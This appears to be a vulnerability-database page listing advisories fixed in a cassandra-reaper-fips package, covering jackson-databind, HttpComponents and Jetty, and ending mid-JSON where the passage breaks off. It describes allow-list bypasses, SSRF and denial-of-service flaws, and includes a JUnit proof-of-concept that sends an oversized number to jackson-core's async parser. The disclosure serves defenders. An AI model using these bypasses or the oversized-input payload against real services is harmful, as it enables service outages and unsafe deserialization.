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Vulnerability from cleanstart
Published
2026-09-01 11:17
Modified
2026-09-04 11:14
Summary
Security fixes in cassandra-reaper-fips 4.0.2-r2
Details
Package cassandra-reaper-fips version 4.0.2-r2 fixes 20 vulnerabilities: ghsa-r7wm-3cxj-wff9, ghsa-72hv-8253-57qq, CVE-2026-54512, CVE-2026-54513, CVE-2026-54514...
References
| URL | Type | |
|---|---|---|
{
"affected": [
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"credits": [],
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"id": "CLEANSTART-2026-AT59511",
"modified": "2026-09-04T11:14:10Z",
"published": "2026-09-01T11:17:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thelastpickle/cassandra-reaper"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in cassandra-reaper-fips 4.0.2-r2",
"upstream": [
"ghsa-r7wm-3cxj-wff9",
"ghsa-72hv-8253-57qq",
"CVE-2026-54512",
"CVE-2026-54513",
"CVE-2026-54514",
"CVE-2026-59888",
"CVE-2026-54515",
"CVE-2026-44249",
"CVE-2026-45416",
"CVE-2026-50010",
"CVE-2026-45536",
"CVE-2026-45205",
"CVE-2026-54399",
"CVE-2026-54428",
"CVE-2026-64607",
"CVE-2026-2332",
"CVE-2024-6763",
"CVE-2025-11143",
"CVE-2026-10050",
"CVE-2026-6790"
]
}
CVE-2026-54428 (GCVE-0-2026-54428)
Vulnerability from cvelistv5 – Published: 2026-07-01 17:03 – Updated: 2026-07-01 18:15
VLAI
EPSS
VEX
Title
Apache HttpComponents Core: HPackDecoder Unlimited Header List Size Before SETTINGS ACK
Summary
Allocation of resources without limits or throttling in the HTTP/2 HPACK decoder in Apache HttpComponents Core (5.4.2 and earlier, 5.5-beta1 and earlier) allows an remote attacker to cause a denial of service through memory exhaustion by sending oversized compressed header blocks before the HTTP/2 SETTINGS acknowledgement causes the configured header list size limit to be applied.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-01 18:15 UTC
CWE
Assigner
References
2 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache HttpComponents Core |
Affected:
5.5-alpha , ≤ 5.5-beta1
(maven)
Affected: 5.0-alpha , ≤ 5.4.2 (maven) |
Credits
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CVE-2026-54512 (GCVE-0-2026-54512)
Vulnerability from cvelistv5 – Published: 2026-06-23 20:56 – Updated: 2026-06-24 15:22
VLAI
EPSS
VEX
Title
jackson-databind: PolymorphicTypeValidator bypass via generic type parameters allows arbitrary class instantiation
Summary
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and 3.1.4, jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV. If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization. An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.
Severity
8.1 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-24 14:54 UTC
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/FasterXML/jackson-databind/sec… | x_refsource_CONFIRM |
| https://github.com/FasterXML/jackson-databind/iss… | x_refsource_MISC |
| https://github.com/FasterXML/jackson-databind/com… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| FasterXML | jackson-databind |
Affected:
>= 2.10.0, < 2.18.8
Affected: >= 2.19.0, < 2.21.4 Affected: >= 3.0.0, < 3.1.4 |
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CVE-2026-54513 (GCVE-0-2026-54513)
Vulnerability from cvelistv5 – Published: 2026-06-23 20:53 – Updated: 2026-09-02 12:04
VLAI
EPSS
VEX
Title
jackson-databind: Array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)
Summary
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and 3.1.4, BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.
Severity
8.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-24 14:45 UTC
CWE
- CWE-184 - Incomplete List of Disallowed Inputs
Assigner
References
30 references
Impacted products
54 products
| Vendor | Product | Version | |
|---|---|---|---|
| FasterXML | jackson-databind |
Affected:
>= 2.10.0, < 2.18.8
Affected: >= 2.19.0, < 2.21.4 Affected: >= 3.0.0, < 3.1.4 |
|
| Red Hat | Cryostat 4 on RHEL 9 |
Unaffected:
4.2.0-13 , < *
(rpm)
cpe:/a:redhat:cryostat:4::el9 |
|
| Red Hat | Red Hat build of Apache Camel 4.18.3 for Spring Boot 3.5.16 |
cpe:/a:redhat:apache_camel_spring_boot:4.18
|
|
| Red Hat | Red Hat Build of Apache Camel 4.18 for Quarkus 3.33 |
cpe:/a:redhat:apache_camel_quarkus:3.33
|
|
| Red Hat | Red Hat build of Keycloak 26.4 |
Unaffected:
26.4.14-1 , < *
(rpm)
cpe:/a:redhat:build_keycloak:26.4::el9 |
|
| Red Hat | Red Hat build of Keycloak 26.4 |
Unaffected:
26.4-22 , < *
(rpm)
cpe:/a:redhat:build_keycloak:26.4::el9 |
|
| Red Hat | Red Hat build of Keycloak 26.4.14 |
cpe:/a:redhat:build_keycloak:26.4::el9
|
|
| Red Hat | Red Hat build of Keycloak 26.4.14 |
Unaffected:
rhel9-operator , < *
(rpm)
cpe:/a:redhat:build_keycloak:26.4::el9 |
|
| Red Hat | Red Hat build of Keycloak 26.4.14 |
Unaffected:
openshift-rhel9 , < *
(rpm)
cpe:/a:redhat:build_keycloak:26.4::el9 |
|
| Red Hat | Red Hat build of Keycloak 26.6 |
Unaffected:
26.6.5-1 , < *
(rpm)
cpe:/a:redhat:build_keycloak:26.6::el9 |
|
| Red Hat | Red Hat build of Keycloak 26.6 |
Unaffected:
26.6-11 , < *
(rpm)
cpe:/a:redhat:build_keycloak:26.6::el9 |
|
| Red Hat | Red Hat build of Keycloak 26.6.5 |
cpe:/a:redhat:build_keycloak:26.6::el9
|
|
| Red Hat | Red Hat build of Keycloak 26.6.5 |
Unaffected:
rhel9-operator , < *
(rpm)
cpe:/a:redhat:build_keycloak:26.6::el9 |
|
| Red Hat | Red Hat build of Keycloak 26.6.5 |
Unaffected:
openshift-rhel9 , < *
(rpm)
cpe:/a:redhat:build_keycloak:26.6::el9 |
|
| Red Hat | Red Hat Certificate System 10.8 for RHEL-8 |
Unaffected:
8100020260728001635.f9354743 , < *
(rpm)
cpe:/a:redhat:certificate_system:10.8::el8 |
|
| Red Hat | Red Hat Data Grid 8.6.2 |
cpe:/a:redhat:jboss_data_grid:8
|
|
| Red Hat | Red Hat Enterprise Linux 10 |
Unaffected:
0:11.9.0-4.el10_2 , < *
(rpm)
cpe:/o:redhat:enterprise_linux:10.2 |
|
| Red Hat | Red Hat Enterprise Linux 10.0 Extended Update Support |
Unaffected:
0:11.6.0-2.el10_0 , < *
(rpm)
cpe:/o:redhat:enterprise_linux_eus:10.0 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected:
8100020260714102233.489197e6 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support |
Unaffected:
8040020260720064222.522a0ee4 , < *
(rpm)
cpe:/a:redhat:rhel_aus:8.4 |
|
| Red Hat | Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On |
Unaffected:
8040020260720064222.522a0ee4 , < *
(rpm)
cpe:/a:redhat:rhel_eus_long_life:8.4 |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support |
Unaffected:
8060020260720025549.ad008a3a , < *
(rpm)
cpe:/a:redhat:rhel_aus:8.6 |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Extended Update Support Long-Life Add-On |
Unaffected:
8060020260720025549.ad008a3a , < *
(rpm)
cpe:/a:redhat:rhel_eus_long_life:8.6 |
|
| Red Hat | Red Hat Enterprise Linux 8.8 Telecommunications Update Service |
Unaffected:
8080020260714161755.63b34585 , < *
(rpm)
cpe:/a:redhat:rhel_tus:8.8 |
|
| Red Hat | Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions |
Unaffected:
8080020260714161755.63b34585 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:8.8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
Unaffected:
0:2.21.4-1.el9_8 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions |
Unaffected:
0:2.21.4-1.el9_2 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:9.2 |
|
| Red Hat | Red Hat Enterprise Linux 9.4 Update Services for SAP Solutions |
Unaffected:
0:2.21.4-1.el9_4 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:9.4 |
|
| Red Hat | Red Hat Enterprise Linux 9.6 Extended Update Support |
Unaffected:
0:2.21.4-1.el9_6 , < *
(rpm)
cpe:/a:redhat:rhel_eus:9.6 |
|
| Red Hat | Streams for Apache Kafka 3.2.1 |
cpe:/a:redhat:amq_streams:3.2::el9
|
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.30 |
Unaffected:
1787759145 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.30::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.30 |
Unaffected:
1787759723 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.30::el9 |
|
| Red Hat | OpenShift Developer Tools and Services |
cpe:/a:redhat:ocp_tools
|
|
| Red Hat | OpenShift Serverless |
cpe:/a:redhat:serverless:1
|
|
| Red Hat | Red Hat AI Inference Server |
cpe:/a:redhat:ai_inference_server:3
|
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7
|
|
| Red Hat | Red Hat AMQ Clients |
cpe:/a:redhat:amq_clients:2023
|
|
| Red Hat | Red Hat Ansible Automation Platform 2 |
cpe:/a:redhat:ansible_automation_platform:2
|
|
| Red Hat | Red Hat build of Apache Camel 4 for Quarkus 3 |
cpe:/a:redhat:camel_quarkus:3
|
|
| Red Hat | Red Hat build of Apache Camel - HawtIO 4 |
cpe:/a:redhat:apache_camel_hawtio:4
|
|
| Red Hat | Red Hat build of Apicurio Registry 3 |
cpe:/a:redhat:apicurio_registry:3
|
|
| Red Hat | Red Hat build of Debezium 3 |
cpe:/a:redhat:debezium:3
|
|
| Red Hat | Red Hat build of Quarkus |
cpe:/a:redhat:quarkus:3
|
|
| Red Hat | Red Hat Enterprise Linux AI (RHEL AI) 3 |
cpe:/a:redhat:enterprise_linux_ai:3
|
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7
|
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8
|
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp
|
|
| Red Hat | Red Hat Lightspeed for Runtimes Operator |
cpe:/a:redhat:lightspeed_for_runtimes:1
|
|
| Red Hat | Red Hat Offline Knowledge Portal |
cpe:/a:redhat:offline_knowledge_portal:1
|
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai
|
|
| Red Hat | Red Hat OpenShift Dev Spaces |
cpe:/a:redhat:openshift_devspaces:3
|
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6
|
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7
|
|
| Red Hat | streams for Apache Kafka 2 |
cpe:/a:redhat:amq_streams:2
|
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CVE-2026-54514 (GCVE-0-2026-54514)
Vulnerability from cvelistv5 – Published: 2026-06-23 20:51 – Updated: 2026-06-25 12:59
VLAI
EPSS
VEX
Title
jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)
Summary
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.0.0 until 2.18.8, 2.21.4, and 3.1.4, JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.
Severity
5.3 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-25 12:59 UTC
CWE
- CWE-918 - Server-Side Request Forgery (SSRF)
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/FasterXML/jackson-databind/sec… | x_refsource_CONFIRM |
| https://github.com/FasterXML/jackson-databind/pull/5951 | x_refsource_MISC |
| https://github.com/FasterXML/jackson-databind/com… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| FasterXML | jackson-databind |
Affected:
>= 2.0.0, < 2.18.8
Affected: >= 2.19.0, < 2.21.4 Affected: >= 3.0.0, < 3.1.4 |
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CVE-2026-54515 (GCVE-0-2026-54515)
Vulnerability from cvelistv5 – Published: 2026-06-23 20:50 – Updated: 2026-06-24 12:22
VLAI
EPSS
VEX
Title
jackson-databind: Case-insensitive deserialization bypasses per-property @JsonIgnoreProperties
Summary
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.8.0 until 2.18.9, 2.21.5, and 3.1.4, in BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again. This vulnerability is fixed in 2.18.9, 2.21.5, and 3.1.4.
Severity
5.3 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-24 12:21 UTC
CWE
- CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/FasterXML/jackson-databind/sec… | x_refsource_CONFIRM |
| https://github.com/FasterXML/jackson-databind/iss… | x_refsource_MISC |
| https://github.com/FasterXML/jackson-databind/iss… | x_refsource_MISC |
| https://github.com/FasterXML/jackson-databind/com… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| FasterXML | jackson-databind |
Affected:
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CVE-2026-59888 (GCVE-0-2026-59888)
Vulnerability from cvelistv5 – Published: 2026-07-14 16:44 – Updated: 2026-07-14 17:52
VLAI
EPSS
VEX
Title
jackson-databind: @JsonIgnore on a Record property is bypassed with a PropertyNamingStrategy
Summary
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.15.0 until 2.18.8, 2.21.4, and 3.1.4, Java Records using a PropertyNamingStrategy can bypass @JsonIgnore because POJOPropertiesCollector._removeUnwantedIgnorals() records an ignored component under its original implicit name before _renameUsing() applies the naming strategy, allowing the renamed JSON key to be assigned to the Record constructor parameter. This issue is fixed in versions 2.18.8, 2.21.4, and 3.1.4.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-14 17:51 UTC
CWE
- CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/FasterXML/jackson-databind/sec… | x_refsource_CONFIRM |
| https://github.com/FasterXML/jackson-databind/pull/5974 | x_refsource_MISC |
| https://github.com/FasterXML/jackson-databind/com… | x_refsource_MISC |
| https://github.com/FasterXML/jackson-databind/com… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| FasterXML | jackson-databind |
Affected:
>= 2.15.0, < 2.18.8
Affected: >= 2.19.0, < 2.21.4 Affected: >= 3.0.0, < 3.1.4 |
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CVE-2026-64607 (GCVE-0-2026-64607)
Vulnerability from cvelistv5 – Published: 2026-07-31 10:12 – Updated: 2026-08-13 16:18
VLAI
EPSS
VEX
Title
Apache HttpComponents Client: Connection Leak on Content-Encoding Decode Error Leads to Pool Exhaustion DoS
Summary
HttpClient based on the classic i/o model fails to correctly release the underlying connection back to the connection manager if it encounters an invalid or unsupported `Content-Encoding` header value in the response message. Please note this defect does not affect HttpClient based on the async i/o model.
This issue affects Apache HttpComponents Client: from 5.0-alpha1 through 5.6.2.
Severity
5.3 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-31 16:24 UTC
CWE
- CWE-772 - Missing Release of Resource after Effective Lifetime
Assigner
References
2 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache HttpComponents Client |
Affected:
5.0-alpha , ≤ 5.6.2
(semver)
|
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CVE-2026-6790 (GCVE-0-2026-6790)
Vulnerability from cvelistv5 – Published: 2026-07-14 08:51 – Updated: 2026-07-14 12:20
VLAI
EPSS
VEX
Summary
In Eclipse Jetty, for HTTP/1, HTTP/2 and HTTP/3 requests, there is no strict check that the request authority (host and port) matches what provided in the Host header (if present).
This was not enforced in earlier HTTP RFC (for example, in RFC 2616), but it is in the latest RFC (9110 and 9112).
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*
URI constructions (for example, for redirects -- this is typical for login pages)
*
Virtual host selection
*
Reverse proxying
*
Misleading logs
*
Etc.
Given that the latest RFCs require that request authority and Host header must match, Jetty should enforce this invariant.
Severity
5.3 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-14 12:18 UTC
CWE
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Eclipse Foundation | Eclipse Jetty |
Affected:
9.4.0 , ≤ 9.4.60
(semver)
Affected: 10.0.0 , ≤ 10.0.28 (semver) Affected: 11.0.0 , ≤ 11.0.28 (semver) Affected: 12.0.0 , ≤ 12.0.34 (semver) Affected: 12.1.0 , ≤ 12.1.8 (semver) |
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GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-09-01 18:57
VLAI
Summary
jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Details
Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.15.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-18401"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 